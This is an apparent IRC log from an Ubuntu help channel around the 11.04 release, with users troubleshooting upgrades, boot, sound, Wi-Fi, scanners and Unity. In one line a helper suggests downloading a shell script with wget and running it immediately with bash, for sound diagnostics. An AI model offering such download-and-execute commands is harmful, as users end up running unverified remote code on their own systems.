[23:53] <coz_> mdmkolbe,   well if you restart x properly  with     ctrl+alt+F1,,, log in ,, then   sudo restart gdm    ,,, that would be the best way because it shuts down gnome  and apps properly
[23:53] <dark-matter> good suggestion
[23:53] <truepurple> ActionParsnip: I don't know what you mean by "check the hardware app"
[23:53] <coolkid25> ActionParsnip: What would I do to boot to the CD? Just turn on my pc to it? Also, would I have to reinstall and lose all my data?
[23:53] <BrixSat> ow do i install a prism isl3886 pci card on ubuntu?
[23:53] <kwtm> relik: By the way, this is expected behaviour in bash.  While the novice may not expect it, it hardly counts as a bug.  Quite a number of things in bash would break if this were not the behaviour.
[23:53] <AaeRohn> http://paste.ubuntu.com/601037/
[23:53] <AaeRohn> rockj:http://paste.ubuntu.com/601037/
[23:53] <work> how uninstall drive touchscreen in 11.04?
[23:53] <Caly> dark-matter: now it boots to GUI at least...
[23:53] <howard> Question about upgrading from 10.10 to 11.04: I have a 10.10 system, ran update manager and pressed the Upgrade button.  It gives me the Release Notes, and when I hit Upgrade again, it waits for a couple of seconds and then droppped me back to Update Manager.  My other laptop upgraded just fine.
[23:53] <Mahjongg> ActionParsnip, actually I recently upgraded to maverick from LTS, and I am punching the walls that I made that decision. LTS was perfect... Now I am having sleep probelms... Would natty be better with respect to sleep wake up stuff?
[23:53] <coz_> work,   I dont know,, exactly,,, it should be wacom but I am not sure
[23:53] <ActionParsnip> truepurple: in system -> administration. Instead of asking almost immediately, try a little research so you find out maybe for yourself.You will be moreautonomous
[23:54] <coz_> if it is not wacom we are in trouble :)
[23:54] <lollab> anybody get this finger print scanner works on ubuntu ? HP 8440p Elitebook
[23:54] <karth> howard: had the same thing on a couple of boxes, retried 5-10 times, finally worked. the servers are pretty heavily loaded. :)
[23:54] <DimaV> anyone?
[23:54] <kwtm> relik: If it really bothers you, you can rename the files.  So you could say    mv "- this movie has a weird name -.mpg"  "Name_without_weird_characters.mpg"
[23:54] <ActionParsnip> Mahjongg: you fixed what wasn't broken. On production systems I would always use the LTS
[23:54] <daniel_> hello i cannot get my wifi to work for the life of me i push fn +f2 wont turn it on i hceck avaiable drivers shows that my wifi card is in use (evan htough i have no wifi) and i went to and made sure i had all the broadcom packages installed but still no luck in getting it to work evan though it worked before i updated
[23:54] <coolkid25> ActionParsnip: The terminal says that no kernel is loaded, is there a command to fix thaf?
[23:54] <howard> karth: was there any diagnostic messages I can see?
[23:54] <Rockj> AaeRohn: you had this scanner working earlier did you? What version of ubuntu did you run then?
[23:54] <coz_> DimaV,   I didnt see your post to respond  sorry
[23:54] <ActionParsnip> coolkid25: you need the livecd which is what I was telling you before, remember
[23:54] <work> how uninstall drive touchscreen in 11.04?
[23:55] <Mahjongg> ActionParsnip, I see. I'll probably go and install LTS again
[23:55] <dark-matter> wahoo failsafe graphics mode!!!
[23:55] <DimaV> coz_, I just did an upgrad from 10.10 server to 11.04, but i screwed up grub/booting in the process. i have LVM on the system. can i get help restoring the boot? i have a live cd on hand.
[23:55] <relik> ok
[23:55] <relik> thank
[23:55] <coz_> DimaV,  ah ok  hold on
[23:55] <relik> that solved the problem
[23:55] <truepurple> ActionParsnip: I have already done a bunch of research on this subject and what about system-> administration?
[23:55] <kwtm> relik: Now you know that ls * is wrong. :)
[23:55] <demlasjr> hey guys, related with the black screen: http://www.mailrepository.com/ubuntu-bugs.lists.ubuntu.com/msg/3662666/
[23:55] <aguitel> anyone try gnome3 in natty ?
[23:55] <work> how uninstall drive touchscreen in 11.04?
[23:56] <demlasjr> is this solved or how much take to fix it....
[23:56] <bizerklurker> Can someone please answer my question?: https://answers.launchpad.net/ubuntu/+question/154875
[23:56] <coolkid25> alright thanks ActionParsnip :D
[23:56] <demlasjr> or I need to go back to 10.10
[23:56] <coz_> DimaV, ooo the page I wanted to link you to is down ,, hold on
[23:56] <bencc> what package do I need to run a jar file on natty? I thought that libreoffice already require jre
[23:56] <ActionParsnip> truepurple: sure but now you have new information
[23:56] <DimaV> coz_: holding on
[23:56] <AaeRohn> rockj: I didnt have Ubuntu before, my Win XP crashed and I had no disc, and no money... so I got Ubuntu and upgraded as much as I could...
[23:56] <truepurple> ActionParsnip: What new info?
[23:56] <coz_> DimaV,  go to the #grub channel    they may have another link for reinstalling grub
[23:56] <ActionParsnip> bencc: http://www.multimediaboom.com/how-to-install-java-in-ubuntu-11-04-natty-narwhal-ppa/
[23:56] <KNUBBIG> bencc: either openjdk-jre or sun-java6-jre
[23:56] <KNUBBIG> !java > bencc
[23:56] <ubottu> bencc, please see my private message
[23:56]  * DimaV goes
[23:57] <work> how uninstall drive touchscreen in 11.04?
[23:57] <Caly> dark-matter: did you get the seme popup as me then? GConf error: Failed to contact configuratio server...
[23:57] <ActionParsnip> truepurple: about the hardware driver app:  23:53:56) ActionParsnip: truepurple: in system -> administration
[23:57] <christhecoolboy> I need Ubuntu help, since I have switched to Ubuntu 11.04, My Microphone no longer works...
[23:57] <AaeRohn> rockj: WinXP crashed and burned*
[23:57] <xangua> !java | bencc
[23:57] <ubottu> bencc: To install a Java runtime on Ubuntu on 10.04 LTS and newer, see http://tinyurl.com/2ffg7cc -  For the Sun Java products and browser plugin, search for the sun-java6- packages in the !partner repository on Lucid (which must be enabled), or !multiverse repository on older releases.
[23:57] <bencc> thanks
[23:57] <karth> howard: not really, sometimes it flashed up a note about not being able to contact the server, other times, nothing.
[23:57] <ActionParsnip> work: if you can give the output of the command I gave, I can advise
[23:57] <tomatobros> hey guys i just install 11.04 and i want to know is  "fglrx" in repo have tear free or i have to install from amd.com ?
[23:58] <demlasjr> any solution for this bug ? http://www.mailrepository.com/ubuntu-bugs.lists.ubuntu.com/msg/3662666/   BLACK SCREEN
[23:58] <Rockj> AaeRohn:  I see. Anyway, Ubuntu is a good choice anyway so lets see if we can figure this out ;-)
[23:58] <coz_> work,   open a termina.  type   gpoint-device-settings
[23:58] <coz_> work,   I believe there is a setting for  "touchfreeze" in there
[23:58] <dark-matter> Caly: Not yet
[23:58] <coz_> brb   nature call :)
[23:58] <dark-matter> Caly: it is still loading
[23:58] <truepurple> ActionParsnip: What about system adminstration?
[23:58] <Caly> ok
[23:58] <AaeRohn> Rockj: I'll be back, I have to run something around the block
[23:58] <zero_> If I wana run perl script as service . how to do it ? I mean I have a vps which runs ubuntu server and I want to run a perl script without stoping even tho I exit from the terminal session
[23:59] <KNUBBIG> tomatobros: you should enable the proprietary drivers in the hardware admin section and then it should download it without you requiring to get it from amd.com but
[23:59] <Rockj> AaeRohn: http://www.linuxquestions.org/questions/linux-hardware-18/brother-mfc-240c-intermittent-scanning-issue-632801/   , looks like someone else have had this invalid argument thing popping up on your type of scanners. Try turn your scanner off and on again and see if it gives a better result.
[23:59] <KNUBBIG> !ati > tomatobros
[23:59] <ubottu> tomatobros, please see my private message
[23:59] <ActionParsnip> truepurple: in that menu there is an application to install 3rd party drivers
[23:59] <dark-matter> It is frozen loading at: Checking Battery State
[23:59] <Cream2011> Anyone know why I cant complete installation for 10.10 on my Netbook?
[23:59] <ojii> for some reason the interface language in my login screen is in japanese, but after I login everything is in English (as it should be), how can I change/fix the language in my login screen?
[23:59] <tripelb> http://www.youtube.com/watch?v=g-vHrS4s14Q  Feels good to admit it.
[23:59] <christhecoolboy> Since I have updated to 11.04, my Microphone no longer works... How could I fix this?!
[23:59] <bizerklurker> https://answers.launchpad.net/ubuntu/+question/154875
[23:59] <howard> karth: thanks for the info.  I'm glad that I am not the only one.
[23:59] <dark-matter> but i can do alt+f1 to get to a prompt
[23:59] <work> What command ActionParsnip?
[23:59] <bizerklurker> can someone please answer my question https://answers.launchpad.net/ubuntu/+question/154875
[23:59] <tomatobros> KNUBBIG,  thx
[23:59] <Caly> dark-matter: mkay, you said failsafe? i choose to "boot woth earlier linux version"
[00:00] <Caly>  *with
[00:00] <ActionParsnip> work: lsmod    I did say earlier
[00:00] <ActionParsnip> work: use a pastebin to host the output
[00:00] <dark-matter> Caly: I did failsafe graphics mode to force vesa
[00:00] <lovebug> If I wana run perl script as service . how to do it ? I mean I have a vps which runs ubuntu server and I want to run a perl script without stoping even tho I exit from the terminal session ??? anyone ?
[00:00] <Caly> mkay, didn't work for me at all dark-matter
[00:00] <daniel_> how do i get my internet to work in this so called update that should go foreward and improve ubuntu and no go backwards and make the most vital thing on modern computers not work at all
[00:00] <truepurple> ActionParsnip: You mean additional drivers? That is only one possible driver to use, I want to explore other driver options
[00:00] <KNUBBIG> lovebug: either via !screen or as an init script
[00:00] <dark-matter> Caly: That sucks
[00:01] <robertzaccour> how do you put the unity taskbar at the bottom?
[00:01] <ActionParsnip> truepurple: thats all I know
[00:01] <dark-matter> They really should make an easy way to roll back your version if you need to
[00:01] <lovebug> KNUBBIG:  do u have a sample ? I didnt get what u said
[00:01] <truepurple> ActionParsnip: There is like at least 3 different options for drivers to use, and I'd like to know which to use, where would be a good place to go?
[00:01] <ActionParsnip> !downgrade | dark-matter
[00:01] <ubottu> dark-matter: Attempting to downgrade to an older Ubuntu version is explicitly not supported and may break your system.
[00:01] <lovebug> example*
[00:01] <Caly> dark-matter: well,. i'm up and runnung now, but i gotta get my head around this "gconf error" shit
[00:01] <KNUBBIG> lovebug: you ssh into the server?
[00:01] <lovebug> yes
[00:01] <AaeRohn> Rockj: same result
[00:01] <dark-matter> lol
[00:01] <KNUBBIG> lovebug: okay, I'll pm you
[00:01] <pseubodot> Upgraded 10.10->11.04 and love it, but am just surprised by how the 'emulate 3 button mouse' behaviour does not seem to exist any more ... is there a way to restore this?
[00:01] <lovebug> thanks
[00:02] <ActionParsnip> pseubodot: you may need an xorg.conf file
[00:02] <mala85> Can I easily remove the workspace switcher icon from the Unity launcher?
[00:02] <dark-matter> i am going to program this: sudo dist-downgrade
[00:02] <kwtm> dark-matter: There is a way to do it, but you have to have planned it beforehand in the way you set up your hard drive.  I used it for upgrading from 8.04 to 10.04 and I'm glad I did it.
[00:02] <dark-matter> I should of just made a drive image
[00:02] <pseubodot> ActionParsnip: you mean manually put the Emulate3Button or whatever line back into the xorg.conf?
[00:02] <dark-matter> it would have take an hour and saved me 10
[00:02] <christhecoolboy> I have a problem since I have updated to Ubuntu 11.04, I was wondering If somebodey could help me...
[00:02] <dark-matter> LOL
[00:03] <ActionParsnip> pseubodot: it may be necessary if you can't get it in other ways
[00:03] <daniel_> how do i get my internet to work in this so called update that should go foreward and improve ubuntu and no go backwards and make the most vital thing on modern computers not work at all
[00:03] <KNUBBIG> !screen
[00:03] <ubottu> screen is a window manager for terminal sessions, also useful over SSH. See https://help.ubuntu.com/community/Screen
[00:03] <Caly> christhecoolboy: welcome to the club
[00:03] <Acriax> KNUBBIG, thanks mate, that did it :)
[00:03] <Rockj> AaeRohn: ohh, we need some scanning drivers maybe. hm.
[00:03] <Rockj> AaeRohn: http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/download_scn.html
[00:03] <kwtm> dark-matter: Next time, partition your hard drive into 2 small system drives and 1 big data drive.  Have the old operating system on one system drive, and the new one on the other system drive.  They would share the same data drive.  Then you could dual boot into old or new version.
[00:03] <Rockj> AaeRohn: been there? :]
[00:03] <KNUBBIG> Acriax: yey, no problem :)
[00:03] <ForeverDrunk> What repo is php5-curl in?
[00:03] <christhecoolboy> Caly, I've only got one problem... The rest of my Ubuntu Upgrade was ok...
[00:03] <AaeRohn> Rockj: I have the drivers for this MFC
[00:04] <FoolsRun> Hi, so since Natty the kernel now understands IR events from remote controls. Is there any way to stop this and go back the way it was? It makes XBMC uncontrollable with an MCE remote.
[00:04] <daniel_> is there a way to go back to 10.10 without losing everything i have on my computer without dealing with 100 backup discs?
[00:04] <AaeRohn> Rockj: both the printer and scanner drivers from that place
[00:04] <xangua> daniel_: no
[00:04] <CryptoSec> my ClamTk is stating that my Antivirus engine is outdated... does anyone know how i can update it?
[00:05] <Rockj> AaeRohn: ok, I notice there is some scan-key-tool and brscan3 executables/packages. *checking their docs*
[00:05] <ActionParsnip> !downgrade | daniel_
[00:05] <ubottu> daniel_: Attempting to downgrade to an older Ubuntu version is explicitly not supported and may break your system.
[00:05] <ActionParsnip> CryptoSec: add the clamav ppa
[00:05] <AaeRohn> Rockj: I got the 32 bit, the 64s are an invalid build
[00:06] <Rockj> AaeRohn: type   brscan-skey     (should start running as a background process) then try   brscan-skey -l
[00:06] <CryptoSec> would you give me the url for the clamav ppa  please?
[00:06] <kwtm> daniel_: If your  home  directory and the root directory are on the same drive, it would be hard.  Consider getting an extra hard drive, either internally to store your home directory, or externally as a backup (thus no "100 backup disks") and then back up /home and you can reinstall the older system.
[00:06] <ActionParsnip> CryptoSec: search an ye shall find
[00:06] <Oins> After the upgrade to 11.04, I miss my tray icons. Some tools (e.g. Pidgin) only works with tray icon. If the program is closed, how can i bring it in front again without the tray icon feature ?
[00:06] <daniel_> xangua, do u know hat i shoulddo then im in a pickle 10.10 i had internet 11.04 no internet the wifi indicater led on my keybourd wont glow and the networking tool doesnt evan notice it idk what to do
[00:06] <coolkid25> ActionParsnip: which download do i get? download and install or try it from a cd or usb stick?
[00:07] <pseubodot> ActionParsnip: but are there any other ways?
[00:07] <christhecoolboy> Here is my problem, I have ubuntu, my Microphone worked before I upgrade it and I need to use it later tonight for a podcast recording, but... once I switched to Ubuntu 11.04, it no longer works, this is the only problem major problem that I have had with the Ubuntu 11.04 upgrade...
[00:07] <CryptoSec> alright will do thanks
[00:07] <ActionParsnip> pseubodot: thats the only way I can think of, maybe there are other ways but I'm not sure
[00:07] <pseubodot> ActionParsnip: cool, thanks!
[00:07] <Rockj> AaeRohn: check http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/instruction_scn3.html  , says to    press the scan button and select user and seelct destination and start?
[00:08] <coolkid25> also ActionParsnip
[00:08] <ActionParsnip> coolkid25: you want the desktop ISO and burn it slowly to a CD or copy to USB stick using unetbootin etc
[00:08] <daniel_> all i know was i wish there was a warning or soemthing teling me my internet wont work after i do a so called update update
[00:08] <AaeRohn> Rockj: http://paste.ubuntu.com/601044/
[00:08] <kwtm> Ubuntu should really make it a default to be able to dual boot into either of two versions of the OS.  These upgrades can really screw you over.
[00:08] <ActionParsnip> coolkid25: remember to MD5 sum
[00:08] <coolkid25> ialright
[00:08] <Random832> kwtm: how do you propose it should manage that?
[00:08] <Rockj> AaeRohn: I asume running that brscan-skey program, it is able to receive the scanning image from your scanner? *wildly guessing out in the wild , hehe*
[00:08] <ActionParsnip> kwtm: how do you mean?
[00:08] <coolkid25> ActionParsnip: what if i installed with wubi???
[00:09] <ActionParsnip> coolkid25: then Ive no idea. I dislike wubi and have no knowledge of it. The liveCD method may not work
[00:09] <Random832> you know...
[00:09] <CryptoSec> found it
[00:09] <CryptoSec> thanks
[00:09] <ubuntu_> haha
[00:09] <Random832> it would be interesting to have a distribution designed to live in a chroot
[00:09] <AaeRohn> Rockj: pressing scan > select oputput type > start color or B&W
[00:09] <Glacia> grrrrr
[00:09] <Rockj> AaeRohn: same, any is fine I guess
[00:09] <kwtm> Random832: I think it should, by default, partition into 2 system drives (each 5-10GB in size, say) and the remainder is a data drive where /home  is mounted.  By default at least put /home on a separate partition so the system can be wiped without wiping home.  Install the newest linux into the system drive with the oldest linux.  When it comes time to upgrade, preserve the current version of the OS and install into the other
[00:09] <kwtm> system drive.
[00:09] <ActionParsnip> Random832: you can make it
[00:10] <coolkid25> so ActionParsnip do i want the try it cd or the installstion?
[00:10] <AaeRohn> Rockj: aaand still nthing works
[00:10] <Rockj> AaeRohn: it mentioned destination in the docs, and user ? no prompt for that?
[00:10] <Random832> kwtm: that would be a ridiculous waste of space
[00:10] <AaeRohn> Rockj: nope, nothing
[00:10] <Random832> although...
[00:10] <kwtm> Random832: They could make it an option.  Whether something is "ridiculous" would depend on the opinion of the user, not you.
[00:10] <ActionParsnip> coolkid25: try it cd. I'm not sure if you can do this with wubi. You have a lot more work to do because you used wubi
[00:10] <aguitel> anyone try gnome3 in natty ?
[00:10] <daniel_> does anyone know how to fix internet or know a site i shoul go to to get it working i dont mind doing it if i had a wlak through or something just osmeone please help point me in the right direction i realy need some internet
[00:10] <Random832> why hasn't anyone (or has anyone) made a variable-size filesystem
[00:10] <christhecoolboy> Could anyone please take the time to help with my problem, I really need my mic for later tonight...
[00:11] <ActionParsnip> kwtm: debian gives an option of a seperate /home partition in an easily selectable option
[00:11] <Random832> you could implement it with sparse files, or simply with aggressive defragmentation
[00:11] <Random832> [er, the former in a loopback device on top of a traditional filesystem, obviously]
[00:11] <Glacia> ok i really hate 11.04
[00:11] <stravant> I updated to 11.04 and the "File" menu at the top of the screen right now is black-text on black background (as well as the time indicator and the Ubuntu one menu), so I can't see it, is anyone else having this problem?
[00:11] <bizerklurker> Every time I login, I get the same default icons despite removing them and adding new ones ( by right-clicking on apps like skype and pressing "keep in launcher.") I hope I have explained my problem thoroughly - I am a ubuntun00b. Is this just a bug, is it fixable, or am I missing something here?
[00:11] <kwtm> ActionParsnip: Interesting ... sounds like a more conservative option.  I guess it's not avaialble with Ubuntu (I don't know; I'm sticking with 10.04).
[00:11] <dark-matter> WOOT, failsafe graphics got me in and now I am trying to install nvidia drivers
[00:11] <coolkid25> ActionParsnip: I'm on 10.10 and it isny an option
[00:11] <coolkid25> what do i do?
[00:11] <ActionParsnip> christhecoolboy: what is the output of: wget -O alsa-info.sh http://alsa-project.org/alsa-info.sh && bash ./alsa-info.sh
[00:11] <Rockj> AaeRohn: ok, lets see if adding a udev rule might do the trick then.
[00:12] <ActionParsnip> kwtm: not currently but users can usemanual partitioning and achieve it
[00:12] <daniel_> does anyone know how to fix internet or know a site i shoul go to to get it working i dont mind doing it if i had a wlak through or something just someone please help point me in the right direction i realy need some internet
[00:12] <ActionParsnip> coolkid25: what isn't an option?
[00:12] <kwtm> ActionParsnip: That's what I do.  But I see enough hair-pulling after an update that I wonder if they should automate it.
[00:13] <coolkid25> ActionParsnip: to download ubuntu 10.10
[00:13] <Rockj> AaeRohn: http://welcome.solutions.brother.com/bsc/public_s/id/linux/en/instruction_scn1c.html is some notes about adding an udev rule, it notes is for Ubuntu 9.10 and 10.04 but im sure its the same for 11.04
[00:13] <christhecoolboy> Your ALSA information is in /tmp/alsa-info.txt.SBN7Yihi7e << ActionParsnip
[00:13] <coolkid25> but that is the one i am on
[00:13] <ActionParsnip> kwtm: you may be able to script stuffI guess
[00:13] <coolkid25> what do i do?
[00:13] <christhecoolboy> how do I give you that?
[00:13] <MohammadAG> kwtm, just upgraded my PC (it has a 120GB /home and a 30GB / sans /home), it was pretty seamless
[00:13] <hypodermia> anybody here noticed the system bell in natty doesn't seem to work? or know if there's a bug i should be looking at or a setting i'm missing?
[00:13] <Caly> dark-matter: getting anywhere?
[00:13] <Rockj> AaeRohn: Ill just check if its the correct file to edit.
[00:13] <ActionParsnip> christhecoolboy: ok then run:  sudo  apt-get install pastebinit; pastebinit /tmp/alsa-info.txt.SBN7Yihi7e
[00:14] <MohammadAG> besides the downloads taking about 5 hours /me blames IL Ubuntu servers
[00:14] <ActionParsnip> christhecoolboy: that file is on your PC only and I don't have access to it. The pastebin will make a url, what is it?
[00:14] <AaeRohn> Rockj: I gotta run an errand, I'll be back and we can resume beating out heads on our desks about this
[00:14] <ActionParsnip> coolkid25: natty will be fine
[00:14] <Axlin> MohammadAG: that's why i always use the torrents :P
[00:14] <Oday> there is one girl on the interwebs.
[00:14] <dark-matter> Caly: hopefully, I am in the GUI and installing drivers
[00:14] <ActionParsnip> !girls
[00:14] <ubottu> Girls exist on the internet. See http://www.escapistmagazine.com/print/17/27 | http://www.xkcd.com/322/ | For more interesting reading: http://www.tldp.org/HOWTO/Encourage-Women-Linux-HOWTO/
[00:14] <coolkid25> ActionParsnip: which is natty? :x
[00:15] <ActionParsnip> !natty | coolkid25
[00:15] <ubottu> coolkid25: Ubuntu 11.04 (Natty Narwhal) is the current release of Ubuntu. Download http://releases.ubuntu.com/11.04/ - Release Info: http://www.ubuntu.com/getubuntu/releasenotes/1104
[00:15] <hypodermia> girls on the internet? pffft.
[00:15] <Oins> I use Ubuntu 11.04. After closing truecrypt, the program goes to background. How can i bring it in front again? Starting it again dops out the message "program already running". At 10.04, it was able to get it back with the tray icon. But how at 11.04?
[00:15] <Rockj> AaeRohn: aye, can you give me roughly an ETA, ill make me some cooffee or something (its 1am here in Norway)
[00:15] <Oday> !thanks | ActionParsnip
[00:15] <ubottu> ActionParsnip: You're welcome! But keep in mind I'm just a bot ;-)
[00:15] <maco> hypodermia: you can stop that
[00:15] <hypodermia> maco: what'd i do?
[00:15] <christhecoolboy> ActionParsnip, http://paste.ubuntu.com/601047/
[00:15] <christhecoolboy> :)
[00:15] <MohammadAG> Axlin, torrents with apt-get dist-upgrade? :P
[00:15] <kwtm> MohammadAG: I'm not sure you count.  Your N900 could flip over dead on its back with its six legs and antennae splayed out, and you could press some 7-key combination and say, "Yeah, I got it working again, no sweat."
[00:16] <Axlin> MohammadAG: oh, touche. lol
[00:16] <teage> Anyone know how to check what is running on ports?, chkrootkit says bindshell INFECTED port 15.
[00:16] <maco> hypodermia: scoffing at girls on the internet isn't really necessary, especially when ubuntu has an entire subproject devoted to bringing in more women contributors and making them feel welcome enough to stay
[00:16] <spikebike> anyone else use toggle vertical maximize and unity?
[00:16] <coz_> spikebike,  yes
[00:16] <extraclassic> teage: i use nmap for that
[00:16] <Caly> dark-matter: ah, nice. i pretty much puked at the new GUI though, i'm moving stuff to my NAS, while downloading Debian insted
[00:16] <trentg> Anybody why I get connection refused trying to connect (FTP) to ppa.launchpad.net?
[00:16] <MohammadAG> kwtm, small interwebz :P
[00:16] <spikebike> coz_: you get annoying scrolling when you gain/lose focus?
[00:16] <teage> extraclassic, good idea. thanks
[00:16] <kwtm> MohammadAG: Me, I've got my history of upgrade problems to contend with.  (Even now my 10.04 has broken things that my 8.04 didn't have, like errors in Kmail, 30-second freezes in the KDE file dialog, no fullscreen BZflag, etc. etc.)
[00:17] <coz_> spikebike,  mm not so far no...can you detail that?  which app is open ,, what are doing ?
[00:17] <dark-matter> Caly: LOL, I have thought about that many many many times
[00:17] <hypodermia> maco: i'm being ironic. i'm aware. it is just my reaction to play into it when people bring up the whole girls-on-the-internet thing. when people meet me IRL, it gets that much funnier.
[00:17] <spikebike> coz_: open terminal, vertical maximize, generate enough content to scroll
[00:17] <ActionParsnip> christhecoolboy: add:   options snd-hda-intel model=auto    to /etc/modprobe.d/alsa-base.conf
[00:17] <Kevin147> Now that I upgraded, my desktop is lagging on minecraft. Why? I don't like this.
[00:17] <spikebike> (ls or just hodl down return0
[00:17] <coz_> spikebike,  I assume you are using compiz for this ...yes?
[00:17] <spikebike> )
[00:17] <spikebike> coz_: ya, unity is a compiz module
[00:17] <Caly> dark-matter: me too, but this fuwgly fkn new interface just med me decide to go all free finally.
[00:17] <coolkid25> wait ActionParsnip isnt natty bad?
[00:17] <coz_> spikebike,  yes I know that :)
[00:17] <thomashc> anyone know how to type lithuanian characters on an english keyboard(ąčęėįšųū etc)?
[00:17] <christhecoolboy> ActionParsnip, I did that before, now again?! I even did a bugfix about it...
[00:18] <ActionParsnip> coolkid25: its fine
[00:18] <spikebike> coz_: heh, well just being specific that I'm not using compiz and not unity
[00:18] <spikebike> coz_: does it do that for you as well?
[00:18] <MohammadAG> kwtm, but seriously, I just avoid the GUI update manager and use sed -i 's/maverick/natty/g' /etc/apt/sources.list && apt-get update && apt-get dist-upgrade
[00:18] <Caly> dark-matter: and Debian feels a bit like a safer card than Trisquel yet.
[00:18] <coolkid25> also ActionParsnip should i get 32 bit or 64 bit?
[00:18] <coz_> spikebike,  so you are settings in ccsm.. general options,,, keybinding tab,,, toggle max horizontal and vertical with keybindings ,, yes?
[00:18] <ActionParsnip> christhecoolboy: you need an option like that, could try model=laptop
[00:18] <ActionParsnip> coolkid25: 32bit will be an easier life
[00:18] <spikebike> coz_: ya, exactly
[00:18] <dark-matter> Caly: ya, and they don't have as many udpates
[00:18] <spikebike> I bind it to <super z>
[00:18] <pfifo> if I set LD_LIBRARY_PATH to /home/pfifo/lib and install a few libs there... In what order will programs look for libs?
[00:19] <coz_> spikebike,  I have not seen any issue  but to be honest,, I am not on unity right now,,,        maverick at the moment
[00:19] <christhecoolboy> ActionParsnip, It already is options snd-hda-intel model=auto
[00:19] <hypodermia> thomashc: it looks like there's a lithuanian keyboard variant for US keyboards
[00:19] <coolkid25> ActionParsnip: Why? :0
[00:19] <BKTech86> hi, windows wiped out my grub and I can't restore it using the guides online, can anyone help please? thanks
[00:19] <coz_> spikebike,  if you wait about 2 minutes and can restart into unity
[00:19] <kwtm> MohammadAG: You really DO live on the edge, don't you?  I can see how you get seamless upgrades.  I do the opposite.  Burn an install DVD (never upgraded) and carve out a new partition from the old.
[00:19] <Caly> dark-matter: yeah, well, as long as i get a desktop that does not look like i'm on a samrtphone instead of a computer, i'm good
[00:19] <spikebike> coz_: cool, yeah I'm curious, I've opened a ticket if you want to sign on (if you see it)
[00:19] <christhecoolboy> ActionParsnip, that was the fix for a MSI AE2020, I put a bugfix about it...
[00:19] <Glacia> i got whiched to ubuntu classic how do i go back to unity?
[00:19] <thomashc> hypodermia: yes, but it doesn't quite match up with english layouts, I was looking for a way using the international altgr keyboard layout
[00:19] <christhecoolboy> It fixed my Speakers when I was originally on 10.10
[00:20] <christhecoolboy> my Mic already worked...
[00:20] <pfifo> also, is there an ubuntu official way to compile 32 bit binaries with gcc while using the 64bit os?
[00:20] <robertzaccour> can the unity taskbar be switched to the bottom yet?
[00:20] <dark-matter> Caly: LMAO, you are making me not want to fix my Ubuntu
[00:20] <hypodermia> thomashc: i dunno then
[00:20] <spikebike> pfifo: isn't it just gcc -m32?
[00:20] <thomashc> hypodermia: thanks anyways :)
[00:20] <ActionParsnip> christhecoolboy: try model=laptop  or   model=generic
[00:20] <BKTech86> can anyone help me restore grub please? thanks
[00:20] <ActionParsnip> BKTech86: boot to livecd and reinstate the bootloader
[00:21] <BKTech86> ActionParsnip: I am booted, how do i do that?
[00:21] <coolkid25> ActionParsnip: Why is 32-bit better?
[00:21] <Glacia> i got switched to ubuntu classic how do i go back to unity?
[00:21] <MohammadAG> kwtm, well it's easier this way, and since I have more than two PCs to upgrade, I just cp /var/cache/apt/archives/*.deb between PCs and run apt-get
[00:21] <pfifo> spikebike, im not sure, ive always has a 32 and 64 bit install and wounld boot to native for compiling stuff
[00:21] <christhecoolboy> ActionParsnip, Can I ask you something first?! Isnt hda for your soundcard?
[00:21] <christhecoolboy> My soundcard works fine...
[00:21] <Caly> dark-matter: i hae no regrets about that
[00:21] <Caly> ^^
[00:21] <ubuntu_> im on a live disc i used my usb stick to try 11.04.   i thought it was going to have a new layout and stuff on side? or am i miising something?
[00:21] <ActionParsnip> BKTech86: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows
[00:21] <dark-matter> LOL
[00:21] <BKTech86> ActionParsnip: I tried that, it doesn't work
[00:22] <ActionParsnip> christhecoolboy: yes but the mic is PART of the soundcard
[00:22] <dark-matter> Caly: OMG It does look like a smart phone
[00:22] <dark-matter> WTF
[00:22] <MohammadAG> ubuntu_, I think the live cd uses the classic desktop
[00:22] <christhecoolboy> ActionParsnip, its not part of the soundcard...
[00:22] <ActionParsnip> BKTech86: http://www.youtube.com/watch?v=w6fpIe-QnVE
[00:22] <benh> haha natty fail
[00:22] <MohammadAG> probably because unity needs 3D acceleration
[00:22] <spikebike> pfifo: that works as well
[00:22] <cmb151> hello, I have ubuntu 11.04, and my sound card is not detected. I have a VT1708/A soundcard which is not support by alsa. How can I get my sound working?
[00:22] <ActionParsnip> christhecoolboy: so its a seperate device?
[00:22] <christhecoolboy> ActionParsnip, I got the webcam and the mic next to it, built in to the PC...
[00:22] <benh> "after your package information was updated, the essential package "ubuntu-minimal" can not be found anymore"
[00:22] <robertzaccour> can the unity taskbar be switched to the bottom yet?
[00:23] <pfifo> spikebike, but cause im trying out natty64 i have both ubuntu and gentoo using 64bit
[00:23] <ActionParsnip> christhecoolboy: ok then check in sound options and switch the mic device to the one on the webcam
[00:23] <coz_> spikebike,  ok on Unity,, walk me through what you are doing
[00:23] <MohammadAG> robertzaccour, no, afaik
[00:23] <christhecoolboy> ActionParsnip, I dont have the option any more...
[00:23] <dark-matter> Folks were not in Gnome any longer
[00:23] <ubuntu_> MohammadAG,  thank you,... so when i install then itll change. thanks
[00:23] <spikebike> coz_: open terminal, vert maximize, hit return
[00:23] <spikebike> (till it scrolls)
[00:23] <MohammadAG> ubuntu_, yep, and you'll have the option to change before login
[00:23] <ActionParsnip> christhecoolboy: then run: lsusb     search for the 8 character hex ID and you may find guides
[00:24] <Caly> dark-matter: and that would be why Ubuntu came to suck balls imo
[00:24] <coz_> spikebike,  thats it?  no strange happenings with that here
[00:24] <cmb151> anybody?
[00:24] <spikebike> it's scrolling?
[00:24] <coz_> spikebike,  no
[00:24] <coz_> let me do a couple commands hold on
[00:24] <christhecoolboy> ActionParsnip, when I entered lsub in to terminal, it just froze
[00:25] <christhecoolboy> *lsusb
[00:25] <ActionParsnip> christhecoolboy: yikes
[00:25] <ubuntu_> MohammadAG,  is that option a  one time thing, or will i haave a choice every login?
[00:25] <christhecoolboy> ActionParsnip, do you think teamviewer might help you solve this problem faster? I do have the option of doing it if you want, :)
[00:25] <Caly> dark-matter: there... burning Debian 6
[00:25] <dark-matter> nice
[00:26] <cmb151> Is there a sound guru in the house? :)
[00:26] <MohammadAG> ubuntu_, every login, same as if you had kde and gnome
[00:26] <toto654> so how's ur opinions on unity
[00:26] <coz_> spikebike,  darn did dist-upgrade   :) let these several packages install and I will try again in about,,,whoa   19 minutes?  darn those servers must really be bogged down ;p;
[00:26] <ActionParsnip> christhecoolboy: not a good idea to invite strangers to your system
[00:26] <coz_> spikebike,  let me try while it's updating
